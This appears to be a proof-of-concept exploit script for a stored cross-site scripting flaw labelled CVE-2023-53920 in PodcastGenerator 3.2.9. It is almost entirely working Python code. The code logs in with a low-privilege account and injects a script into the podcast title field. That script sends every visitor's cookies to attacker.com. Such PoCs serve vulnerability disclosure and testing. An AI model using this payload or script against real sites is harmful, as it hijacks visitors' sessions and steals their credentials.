CVE-2023-53920

import requests import sys # CVE-2023-53920 PoC - Stored XSS in PodcastGenerator # Target: PodcastGenerator 3.2.9 # Attack Vector: Inject malicious JS in podcast title field via podcast_details.php TARGET_URL = "http://target.com/podcastgenerator" LOGIN_URL = f"{TARGET_URL}/login.php" DETAILS_URL = f"{TARGET_URL}/admin/podcast_details.php" # Malicious XSS payload - steals cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def exploit(): # Step 1: Authenticate with low privilege account session = requests.Session() login_data = { 'username': 'attacker', 'password': 'password123' } resp = session.post(LOGIN_URL, data=login_data) # Step 2: Inject XSS payload in podcast title field exploit_data = { 'podcastTitle': XSS_PAYLOAD, 'submit': 'Save' } resp = session.post(DETAILS_URL, data=exploit_data) # Step 3: Payload stored and executed when users visit homepage print(f"XSS payload injected: {XSS_PAYLOAD}") print(f"Payload will execute when users visit: {TARGET_URL}/index.php") if __name__ == "__main__": exploit()

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